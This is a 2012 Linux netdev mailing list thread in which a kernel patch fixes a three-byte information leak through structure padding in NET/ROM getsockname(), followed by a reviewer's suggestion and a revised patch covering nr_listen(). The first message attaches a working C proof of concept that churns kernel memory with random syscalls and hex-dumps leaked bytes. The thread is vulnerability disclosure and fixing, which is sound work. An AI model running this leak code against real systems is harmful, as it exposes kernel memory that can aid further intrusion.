* [PATCH] netrom: fix info leak via getsockname()
@ 2012-10-14 18:23 Clément Lecigne
2012-10-14 23:11 ` Ben Hutchings
0 siblings, 1 reply; 3+ messages in thread
From: Clément Lecigne @ 2012-10-14 18:23 UTC (permalink / raw)
To: netdev
[-- Attachment #1: Type: text/plain, Size: 951 bytes --]
The following patch fixes a 3 bytes info leak via getsockname() on
AF_NETROM socket.
Details:
typedef struct {
char ax25_call[7]; /* 6 call + SSID (shifted ascii!) */
} ax25_address;
struct sockaddr_ax25 {
__kernel_sa_family_t sax25_family;
ax25_address sax25_call;
int sax25_ndigis;
/* Digipeater ax25_address sets follow */
};
After compilation, gcc will add 3 padding bytes after sax25_call to
align sax25_ndigis and nr_getname does not clear these padding bytes
before returning to userland, poc attached.
Signed-off-by: Clement Lecigne <clemun@gmail.com>
--- a/net/netrom/af_netrom.c
+++ b/net/netrom/af_netrom.c
@@ -838,6 +838,8 @@ static int nr_getname(struct socket *sock, struct
sockaddr *uaddr,
struct sock *sk = sock->sk;
struct nr_sock *nr = nr_sk(sk);
+ memset(sax, 0, sizeof(struct sockaddr_ax25));
+
lock_sock(sk);
if (peer != 0) {
if (sk->sk_state != TCP_ESTABLISHED) {
[-- Attachment #2: netrom.c --]
[-- Type: text/x-csrc, Size: 3217 bytes --]
/* netrom.c - getsockname() 3 bytes infoleak.
*
* (c) clem1.be - 2o12
*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netrom.h>
/* from Jon Oberheide sploit
*/
void kernop(int fd)
{
const int randcalls[] = {
__NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
__NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
__NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
__NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
__NR_sched_getparam, __NR_sched_get_priority_max
};
const int randsopts[] = { SOL_SOCKET, AF_APPLETALK };
int ret, len;
char buf[1024];
do
{
switch (rand() % 3)
{
case 0:
ret = syscall(randcalls[rand() % sizeof(randcalls)/sizeof(randcalls[0])]);
break;
case 1:
len = (rand() % 2) ? sizeof(int) : sizeof(buf);
ret = getsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, &len);
break;
case 2:
len = (rand() % 2) ? sizeof(int) : sizeof(buf);
ret = setsockopt(fd, randsopts[rand() % sizeof(randsopts)/sizeof(randsopts[0])], rand() % 130, &buf, len);
break;
}
}
while (ret < 0);
}
void dump(unsigned char * data, unsigned int len)
{
unsigned int dp, p;
const char trans[] =
"................................ !\"#$%&'()*+,-./0123456789"
":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
"nopqrstuvwxyz{|}~...................................."
"....................................................."
"........................................";
for (dp = 1; dp <= len; dp++)
{
printf("%02x ", data[dp-1]);
if ( (dp % 8) == 0 )
{
printf("| ");
p = dp;
for ( dp -= 8; dp < p; dp++ ) {
printf("%c", trans[data[dp]]);
}
printf("\n");
}
}
return;
}
int main(void)
{
struct sockaddr_ax25 sa;
int s, salen;
char prev[sizeof sa];
s = socket(AF_NETROM, SOCK_SEQPACKET, 0);
if (s < 0)
return -1;
srand(time(NULL) ^ getpid());
while (1)
{
kernop(s);
memset(&sa, 0, sizeof sa);
salen = sizeof sa;
if (getsockname(s, (struct sockaddr *) &sa, &salen) == 0)
{
if (memcmp(&sa, prev, salen) != 0)
{
dump((unsigned char *) &sa, salen);
memcpy(&prev, &sa, salen);
sleep(2);
}
}
}
close(s);
return 0;
}
^ permalink raw reply [flat|nested] 3+ messages in thread* Re: [PATCH] netrom: fix info leak via getsockname()
2012-10-14 18:23 [PATCH] netrom: fix info leak via getsockname() Clément Lecigne
@ 2012-10-14 23:11 ` Ben Hutchings
2012-10-15 7:46 ` Clément Lecigne
0 siblings, 1 reply; 3+ messages in thread
From: Ben Hutchings @ 2012-10-14 23:11 UTC (permalink / raw)
To: Clément Lecigne; +Cc: netdev
On Sun, 2012-10-14 at 20:23 +0200, Clément Lecigne wrote:
> The following patch fixes a 3 bytes info leak via getsockname() on
> AF_NETROM socket.
>
> Details:
>
> typedef struct {
> char ax25_call[7]; /* 6 call + SSID (shifted ascii!) */
> } ax25_address;
>
> struct sockaddr_ax25 {
> __kernel_sa_family_t sax25_family;
> ax25_address sax25_call;
> int sax25_ndigis;
> /* Digipeater ax25_address sets follow */
> };
>
> After compilation, gcc will add 3 padding bytes after sax25_call to
> align sax25_ndigis and nr_getname does not clear these padding bytes
> before returning to userland, poc attached.
>
> Signed-off-by: Clement Lecigne <clemun@gmail.com>
>
> --- a/net/netrom/af_netrom.c
> +++ b/net/netrom/af_netrom.c
> @@ -838,6 +838,8 @@ static int nr_getname(struct socket *sock, struct
> sockaddr *uaddr,
> struct sock *sk = sock->sk;
> struct nr_sock *nr = nr_sk(sk);
>
> + memset(sax, 0, sizeof(struct sockaddr_ax25));
This is not indented correctly.
> lock_sock(sk);
> if (peer != 0) {
> if (sk->sk_state != TCP_ESTABLISHED) {
On some architectures, structures have a minimum alignment of 4, so
there are 2 bytes of padding before sax25_call and 1 byte within it.
nr_getname() copies complete ax25_address structures, but nr_listen()
does not initialise the 1 byte of padding in user_addr:
memset(&nr_sk(sk)->user_addr, 0, AX25_ADDR_LEN);
So I think you should address that too. It appears that other
ax25_address structures are originally copied from userland and
therefore don't leak information, but I'm not sure.
Ben.
--
Ben Hutchings, Staff Engineer, Solarflare
Not speaking for my employer; that's the marketing department's job.
They asked us to note that Solarflare product names are trademarked.
^ permalink raw reply [flat|nested] 3+ messages in thread* Re: [PATCH] netrom: fix info leak via getsockname()
2012-10-14 23:11 ` Ben Hutchings
@ 2012-10-15 7:46 ` Clément Lecigne
0 siblings, 0 replies; 3+ messages in thread
From: Clément Lecigne @ 2012-10-15 7:46 UTC (permalink / raw)
To: Ben Hutchings; +Cc: netdev
Ben, thanks for your reply, I fixed the indentation and I addressed
the possible leak in nr_listen() too. Here is the patch.
Signed-off-by: Clement Lecigne <clemun@gmail.com>
--- a/net/netrom/af_netrom.c
+++ b/net/netrom/af_netrom.c
@@ -408,7 +408,7 @@ static int nr_listen(struct socket *sock, int backlog)
lock_sock(sk);
if (sk->sk_state != TCP_LISTEN) {
- memset(&nr_sk(sk)->user_addr, 0, AX25_ADDR_LEN);
+ memset(&nr_sk(sk)->user_addr, 0, sizeof(nr_sk(sk)->user_addr));
sk->sk_max_ack_backlog = backlog;
sk->sk_state = TCP_LISTEN;
release_sock(sk);
@@ -838,6 +838,8 @@ static int nr_getname(struct socket *sock, struct
sockaddr *uaddr,
struct sock *sk = sock->sk;
struct nr_sock *nr = nr_sk(sk);
+ memset(sax, 0, sizeof(struct sockaddr_ax25));
+
lock_sock(sk);
if (peer != 0) {
if (sk->sk_state != TCP_ESTABLISHED) {
2012/10/15 Ben Hutchings <bhutchings@solarflare.com>:
> On Sun, 2012-10-14 at 20:23 +0200, Clément Lecigne wrote:
>> The following patch fixes a 3 bytes info leak via getsockname() on
>> AF_NETROM socket.
>>
>> Details:
>>
>> typedef struct {
>> char ax25_call[7]; /* 6 call + SSID (shifted ascii!) */
>> } ax25_address;
>>
>> struct sockaddr_ax25 {
>> __kernel_sa_family_t sax25_family;
>> ax25_address sax25_call;
>> int sax25_ndigis;
>> /* Digipeater ax25_address sets follow */
>> };
>>
>> After compilation, gcc will add 3 padding bytes after sax25_call to
>> align sax25_ndigis and nr_getname does not clear these padding bytes
>> before returning to userland, poc attached.
>>
>> Signed-off-by: Clement Lecigne <clemun@gmail.com>
>>
>> --- a/net/netrom/af_netrom.c
>> +++ b/net/netrom/af_netrom.c
>> @@ -838,6 +838,8 @@ static int nr_getname(struct socket *sock, struct
>> sockaddr *uaddr,
>> struct sock *sk = sock->sk;
>> struct nr_sock *nr = nr_sk(sk);
>>
>> + memset(sax, 0, sizeof(struct sockaddr_ax25));
>
> This is not indented correctly.
>
>> lock_sock(sk);
>> if (peer != 0) {
>> if (sk->sk_state != TCP_ESTABLISHED) {
>
> On some architectures, structures have a minimum alignment of 4, so
> there are 2 bytes of padding before sax25_call and 1 byte within it.
> nr_getname() copies complete ax25_address structures, but nr_listen()
> does not initialise the 1 byte of padding in user_addr:
>
> memset(&nr_sk(sk)->user_addr, 0, AX25_ADDR_LEN);
>
> So I think you should address that too. It appears that other
> ax25_address structures are originally copied from userland and
> therefore don't leak information, but I'm not sure.
>
> Ben.
>
> --
> Ben Hutchings, Staff Engineer, Solarflare
> Not speaking for my employer; that's the marketing department's job.
> They asked us to note that Solarflare product names are trademarked.
>
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2012-10-15 7:47 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2012-10-14 18:23 [PATCH] netrom: fix info leak via getsockname() Clément Lecigne
2012-10-14 23:11 ` Ben Hutchings
2012-10-15 7:46 ` Clément Lecigne
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox